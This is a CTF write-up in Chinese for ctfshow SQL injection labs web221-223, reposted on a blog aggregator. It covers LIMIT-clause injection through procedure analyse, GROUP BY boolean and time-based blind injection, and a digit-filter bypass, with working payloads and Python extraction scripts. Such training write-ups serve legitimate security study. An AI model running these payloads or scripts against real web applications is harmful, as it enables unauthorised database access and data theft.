ctfshow-web入门-sql注入(web221、web222、web223)limit 注入与 group 注入

news2024/9/22 21:37:38

目录

1、web221 

2、web222

3、web223


1、web221 

limit 注入

分页 sql 格式:select * from table limit (start-1)*pageSize,pageSize;

其中 start 是页码,pageSize 是每页显示的条数。 

比如:

查询第1条到第10条的数据的sql是:select * from table limit 0,10; 

对应我们的需求就是查询第一页的数据:select * from table limit (1-1)*10,10;

查询第11条到第20条的数据的sql是:select * from table limit 10,10; 

对应我们的需求就是查询第二页的数据:select * from table limit (2-1)*10,10;

查询第21条到第30条的数据的sql是:select * from table limit 20,10; 

对应我们的需求就是查询第三页的数据:select * from table limit (3-1)*10,10;

 这里是:

  //分页查询
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

我们需要给 page 和 limit 传参,并且根据提示只需要查到数据库名就行。

//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢

先看一下 limit 函数:

在 limit 后面可以跟两个函数,procerdure 和 into,into 除非有写入 shell 的权限,否则是无法利用的,但是 limit 后面还可以跟 procerdure 函数。

而 procerdure 可以跟 analyse 函数,analyse 可以有两个参数,这里有两种注入方式:

此方法适用于MySQL 5.x 中,在 limit 语句后面的注入。

(1)使用 extractvalue 进行报错注入

(2)使用 benchmark 进行时间盲注

看了一下参数的请求方式是 get ,还是 api 接口

这里采用报错注入,构造 payload 查数据库名:

/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)

0x7e,即 '~' ,extractvalue 只有两个参数,它的第二个参数都要求是符合 xpath 语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,'~' 不是 xml 实体,所以会报错。 

拿到数据库名为:ctfshow_web_flag_x,直接提交即可。 

也可以用 0x23,即  '#'

api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x23,database())),1)

还可以用 0x3a,即 ':'

只要是不满足 xpath 格式的字符

api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml;extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容;用法上 extractvalue 与 updatexml 的区别:updatexml 使用三个参数,extractvalue 只有两个参数。

所以,这里用 updatexml 函数也是可以的:

/api/?page=1&limit=1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)

2、web222

group 注入

调整 page 和 limit 的值可以查询不同的页,这里主要的参数是这个 $u 

基础知识介绍 

group by 语句:用于结合合计函数,根据一个或多个列对结果集进行分组。

rand() 函数:用于产生一个 0-1 之间的随机数。

floor() 函数:向下取整。

count() 函数:返回指定列的值的数目(NULL 不计入),count(*) 返回表中的记录数。

floor(rand()*2):rand()*2 函数生成 0-2 之间的数,使用 floor() 函数向下取整,得到的值就是不固定的, “0” 或 “1”。

floor(rand(0)*2):rand(0)*2 函数生成 0-2 之间的数,使用 floor() 函数向下取整,但是得到的值前 6 位是固定的,为 011011。

group by 报错注入的两个 payload:

使用floor报错注入,需要确保查询的表必须大于三条数据

select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2))

两条数据即可,因为它可能会产出 “0101” ,但是不一定成功 

select count(*) from information_schema.tables group by concat(database(),floor(rand()*2))

但是这道题试了下报错注入,没有回显,并且 group by 后面不能跟 union,因此采用盲注。

时间盲注和布尔盲注都是可以的,完整脚本附在最后。

先说布尔盲注,测一下 payload:

/api/index.php?u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',username,0)

当 u 为 username 时回显如下

(原本我最先测的是 1 和 0,但是有点问题,所有还是用 username 吧)

为 0 时则不包含字符串 "passwordAUTO"

/api/index.php?u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a',username,0)

因此可以用 "passwordAUTO" 作为判断的标准。

就不跑数据库名了,直接用 database() 代替,跑列名:

payload = f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1)='{k}',username,0)"

有两个表,根据结果,flag 应该是在 ctfshow_flaga 这个表里。

接着我们跑列名:

payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'),{j},1)='{k}',username,0)"

 为 flagaabc

查字段信息:

payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',username,0)"

拿到 flag:ctfshow{7a3dc581-f88f-4dba-b2e5-ac5bce462e61}

接下来我们改一下 payload,尝试时间盲注:

测了一下这里 sleep 很小的时间即可实现较长的延时

/api/index.php?u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.1),0)

观察耗时,sleep(0.1) 即可延时 2s 以上,那么我们就以 2s 作为判断标准:

payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',sleep(0.1),0)"

没有问题 

附上两种盲注方法的完整脚本:

# @author:Myon
# @time:20240815
import requests
import string

url = 'http://b6c2fdd0-e452-4aee-84ce-73716e1a42cd.challenge.ctf.show/api/index.php'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = ''

for j in range(1,50):
    for k in dic:
        # payload = f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1)='{k}',username,0)"  # 跑表名
        # payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'),{j},1)='{k}',username,0)"  # 跑列名
        # payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',username,0)"  # 布尔盲注跑flag
        payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',sleep(0.1),0)"  # 时间盲注跑flag
        re = requests.get(url, params=payload)
        # if "passwordAUTO" in re.text:
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

3、web223

//用户名不能是数字

在上一题基础上新增过滤了数字,我们上一题的 payload 中使用到数字的地方也就是 substr 的后两个参数,以及我们猜测的字符中可能会出现数字,关于数字被过滤,在前面的题目中我们知道可以采用 true+true 的方法构造出数字。

这道题折腾了很久,下面先分享的是我的一个试错过程,如果只想看结果可以直接跳过。

我仔细看了一下,之前的那个转换函数是针对字符构造的 concat(char()) 类型:

s='0123456789abcdef-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"

比如我们想构造一个字符 1 ,则会被转换为:

concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))

也就是 char(49)

但是在这里我测试这个 payload 发现有问题,没有回显:

?u=if(substr(database(),concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)),concat(true))='c',username,'a')

测 concat(true) 这个就是数字的 1 ,而不是字符的 1,发现回显正常:

?u=if(substr(database(),concat(true),concat(true))='c',username,'a')

并且如果加 char ,回显不完整:

?u=if(substr(database(),concat(char(true)),concat(true))='c',username,'a')

也就是猜错的回显结果(猜数据库名第一个字母是 a)

?u=if(substr(database(),concat(true),concat(true))='a',username,'a')

但是当我测到第二个字母时,又没有回显了:

?u=if(substr(database(),concat(true+true),concat(true))='t',username,'a')

包括我们后面猜测字符转换后测试也没有回显,而且后面的非数字字符肯定得需要 char 来将 ASCII 值转成字符(当然非数字其实也可以不用处理),改用 like 通配,也没有回显:

?u=if(database() like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)),username,'a')

怎么说呢,感觉这种转换方式被识别不了一样。

正则也是可以的,但转换后也不行,依旧没有回显: 

就当我准备放弃换其他方法时,我去看了它的 wp,就是采用的 true+true 构造数字:

淦!它 true 之间的连接用的 %2b ,进行了 URL 编码。。。

于是回过头来测上面的 payload,猜数据库名第二个字符为 t:

?u=if(substr(database(),concat(true%2btrue),concat(true))='t',username,'a')

回显成功 

上面测试的是数字 1,是可行的,那么我们再测试字符  1 呢,加上 char 试试。

稍微改一下函数:

s='0123456789abcdef-{}'
def convert(strs):
  t='concat('
  for s in strs:
    # t+= 'char(true'+'+true'*(ord(s)-1)+'),'
    t+= 'char(true'+'%2btrue'*(ord(s)-1)+'),'
  return t[:-1]+")"
print(convert('1'))

payload: 

?u=if(substr(database(),concat(char(true%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue))
,concat(true))='c',username,'a')

回显成功,说明后面构造字符也是可行的。 

总结:这里是 get 传参并且进行了 URL 解码,如果拼接方式是加号会导致服务器错误的解析为空格,从而无法识别,没有回显,需要对加号进行 URL 编码再传入,即 %2b 。

接下来就可以开始写脚本了,在上一题的基础上改。这里用的还是原始方法 substr,当然也可以用 like 通配,或者用 regexp 正则匹配,原理一样,我就不再过多测试了。

查表名:

payload = (f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{a},true)={b},username,'a')") 

拿到 表名 ctfshow_flagas,继续查列名:

payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'),{a},true)={b},username,'a')"

拿到列名 flagasabc,最后直接查字段就行了:

payload = f"u=if(substr((select flagasabc from ctfshow_flagas),{a},true)={b},username,'a')"

拿到 flag:ctfshow{ad9d39e2-ca4b-4b81-a3eb-b0b995f95431}

附上完整脚本:

对转换函数进行了改进,可以分类处理数字和字符串。

# @author:Myon
# @time:20240817
import requests
import string

def convert(value):
    t = 'concat('
    # 处理数字
    if isinstance(value, int):
        t += 'char(true' + '%2btrue' * (value - 1) + '),'
    # 处理字符
    elif isinstance(value, str):
        for s in value:
            t += 'char(true' + '%2btrue' * (ord(s) - 1) + '),'
    return t[:-1] + ")"
# 测试转换数字1
# print(convert(1))
# 测试转换字符串 '1'
# print(convert('1'))

url = 'http://1742166c-83ef-461b-88f9-348a8dfafb75.challenge.ctf.show/api/index.php'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = ''

for j in range(1,50):
    a = convert(f'{j}')
    for k in dic:
        b = convert(f'{k}')
        # payload = (f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{a},true)={b},username,'a')")  # 跑表名
        # print(payload)
        # payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'),{a},true)={b},username,'a')"  # 跑列名
        payload = f"u=if(substr((select flagasabc from ctfshow_flagas),{a},true)={b},username,'a')"  # 布尔盲注跑flag
        # payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',sleep(0.1),0)"  # 时间盲注跑flag
        re = requests.get(url, params=payload)
        if "passwordAUTO" in re.text:
        # if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

此外,我们还可以单独对数字进行处理,转为 ascii('%0n') 的形式:

?u=if(substr((select flagasabc from ctfshow_flagas),ascii('%01'),true)='c',username,'a')

ascii('%01') 就相当于 1,因为 flag 长度肯定是几十位,因此会涉及到二位数,我们可以使用 concat 函数拼接,比如 21 就是: concat(ascii('%02'),ascii('%01'))

转换函数:

def convert(v):
    v = str(v)
    return "concat(" + ",".join([f"ascii('%0{c}')" for c in v]) + ")"

对脚本稍作修改:

# @author:Myon
# @time:20240817
import requests
import string

def convert(v):
    v = str(v)
    return "concat(" + ",".join([f"ascii('%0{c}')" for c in v]) + ")"


url = 'http://1742166c-83ef-461b-88f9-348a8dfafb75.challenge.ctf.show/api/index.php'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = ''

for j in range(1,50):
    a = convert(f'{j}')
    # print(a)
    for k in dic:
        if k in '0123456789':
            b = convert(f'{k}')
            payload = f"u=if(substr((select flagasabc from ctfshow_flagas),{a},true)={b},username,'a')"  # 数字字符会转成concat形式,默认就是字符,不需要引号包裹
        else:
            b = f'{k}'
            payload = f"u=if(substr((select flagasabc from ctfshow_flagas),{a},true)='{b}',username,'a')"  # 非数字字符需要使用引号包裹才会被认为是字符串
        # print(b)
        # payload = (f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{a},true)='{b}',username,'a')")  # 跑表名
        # print(payload)
        # payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'),{a},true)='{b}',username,'a')"  # 跑列名
        re = requests.get(url, params=payload)
        if "passwordAUTO" in re.text:
            out += k
            break
    print(out)

结果如下,和前面跑出来的一样。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2047045.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

倒计时启动!2024东北医院信息网络大会即将在这里举办!

随着全球医疗行业步入信息化转型的新时代,2024年8月24日至25日,以“科技赋能,重塑未来医疗”为主题的2024东北医院信息网络大会将在长春开曼宴都酒店(长春市高新区海外街1号)隆重举行。此次大会与国家卫健委、中医药管…

Python青少年简明教程:输入输出

Python青少年简明教程:输入输出 Python的输入输出是编程中的基本操作。Python的标准输入输出主要通过内置的input()函数和print()函数来实现。这两个函数使得从用户那里接收输入和向用户展示输出变得非常简单。 输入(Input)函数 input()函数…

Denosing RayDN-对同一射线的误检测优化

Denosing操作理解 DN-DETR增加denosing操作,帮助快速拟合,提高了目标检测任务中的效率和精度。通过这种方式,DN-DETR 克服了原始 DETR 的一些限制,使其在实际应用中具有更好的性能和鲁棒性。 GTBoxes通过随机偏移H, L,W进行偏移&…

Nuxt3【路由中间件】middleware

路由中间件类似路由守卫,即在导航到特定路由之前运行一段代码 内联路由中间件 在页面中定义的路由中间件,因没有名称,所以也叫匿名路由中间件 definePageMeta({middleware: [function (to, from) {console.log("执行了内联路由中间件&q…

[Meachines] [Medium] Popcorn SQLI+Upload File+PAM权限提升

信息收集 IP AddressOpening Ports10.10.10.6TCP:22,80 $ nmap -p- 10.10.10.6 --min-rate 1000 -sC -sV PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: …

2024新型数字政府综合解决方案(七)

新型数字政府综合解决方案通过集成人工智能、大数据、区块链和云计算技术,创建了一个高度智能化和互联互通的政府服务平台,旨在全面提升行政效率、服务质量和透明度。该平台实现了跨部门的数据整合与实时共享,利用人工智能进行智能决策支持和…

RockerMQ学习

消息中间件以前常用RabbitMQ和ActiveMQ,由于业务需要,后期业务偏向大数据,现着重学习一下RocketMQ(RocketqMQ原理同ctg-mq),后续更新Kafka 一、RocketMQ特性 Kafka特性 (高性能分布式&#xff…

MySQL数据库进阶知识(三)《优化》

学习目标: 一周掌握SQL优化知识 学习内容: 一、插入数据 1.insert优化 批量插入 insert into tb_test values(1,Tom),(2,Cat),(3,Jerry);手动提交事务 start transaction; insert into tb_test values(1,Tom),(2,Cat),(3,Jerry); insert into tb_te…

03 网络编程 TCP传输控制协议

目录 1、TCP基本特征 2、TCP通信流程基本原理 (1)基本原理 (2)TCP通信代码实现 (3)核心API解析 1)地址绑定--bind 2)设置监听-listen 3)等待连接请求-accept-产生一个已连接套接字 4&a…

WSL2与Windows之间的网络互访

文章目录 1.环境2.WSL访问Windows上的服务3.Windows访问WSL上的服务 1.环境 1.宿主机 Windows 10 2.WSL ubuntu 18.04 LTS 3.Windows 10上的 vEthernet (WSL) 已启用 2.WSL访问Windows上的服务 1.防火墙设置 2.查看访问Windows的IP 172.21.112.1, 使用该IP访问Windows上的服务…

玩机进阶教程-----回读 备份 导出分区来制作线刷包 回读分区的写入与否 修改xml脚本

很多工作室需要将修改好的系统导出来制作线刷包。前面分享过很多制作线刷包类的教程。那么一个机型中有很多分区。那些分区回读后要写入。那些分区不需要写入。强写有可能会导致不开机 不进系统的故障。首先要明白。就算机型全分区导出后在写回去 都不一定可以开机进系统。那么…

【JVM】JVM 实战调优指南赋案例(保姆篇)

文章目录 JVM 实战调优指南引言1. JVM基础知识1.1 JVM架构1.2 JVM垃圾回收 2. 垃圾回收调优2.1 垃圾回收日志2.2 GC日志分析2.3 调优策略2.3.1 调整堆大小2.3.2 选择合适的GC算法2.3.3 调整垃圾回收线程 3. 内存管理调优3.1 内存泄漏检测3.2 堆转储分析3.3 内存分配策略 4. 线程…

基于飞桨框架的稀疏计算使用指南

本文作者-是 Yu 欸,华科在读博士生,定期记录并分享所学知识,博客关注者5w。本文将详细介绍如何在 PaddlePaddle 中利用稀疏计算应用稀疏 ResNet,涵盖稀疏数据格式的础知识、如何创建和操作稀疏张量,以及如何开发和训练…

在阿里云上部署 Docker并通过 Docker 安装 Dify

目录 一、在服务器上安装docker和docker compose 1.1 首先关闭防火墙 1.2 安装docker依赖包 1.3 设置阿里云镜像源并安装docker-ce社区版 1.4 开启docker服务并设置开机自启动 1.5 查看docker版本信息 1.6 设置镜像加速 1.7 将docker compose环境复制到系统的bin目录下…

【计算机网络】应用层自定义协议与序列化

记得在上一节我们说过TCP中的读取时需要改进,这节就可以解决读取问题了。 目录 应用层再谈 "协议"网络版计算机方案一方案二 序列化 和 反序列化 重新理解 read、write、recv、send 和 tcp 为什么支持全双工 应用层 再谈 “协议” 我们在UDP与TCP中写的…

力扣高频SQL 50题(基础版)第四十七题之1321.餐馆营业额变化增长

力扣高频SQL 50题(基础版)第四十七题 1321.餐馆营业额变化增长 题目说明 表: Customer ---------------------- | Column Name | Type | ---------------------- | customer_id | int | | name | varchar | | visited_on | date | | amount | …

后端开发刷题 | 排序算法--冒泡排序

描述 有一个长度为7的无序数组,按照从小到大的顺序排序后输出。 输入描述: 数组中的数据 输出描述: 数组中数据排序后输出 示例1: 输入: 13 11 9 7 5 3 1输出: 1 3 5 7 9 11 13 算法思想&#xf…

Type-C PD芯片与OTG功能:边充电边数据同时进行 LDR6028

在科技飞速发展的今天,智能设备已成为我们日常生活中不可或缺的一部分。从智能手机到平板电脑,再到笔记本电脑,这些设备不仅极大地丰富了我们的生活方式,也对充电与数据传输技术提出了更高要求。Type-C PD(Power Deliv…

WPF篇(19)-TabControl控件+TreeView树控件

TabControl控件 TabControl表示包含多个共享相同的空间在屏幕上的项的控件。它也是继承于Selector基类,所以TabControl也只支持单选操作。另外,TabControl的元素只能是TabItem,这个TabItem继承于HeaderedContentControl类,所以Ta…

EE trade:黄金的基础知识点

黄金,这种闪耀着金色光芒的贵金属,自古以来就吸引着人类的目光,并深深地影响着人类文明进程。从古代文明的装饰品到现代社会的投资工具,黄金始终扮演着重要的角色。本文整理了黄金的必备常识、黄金的基础知识点。 一、黄金的独特…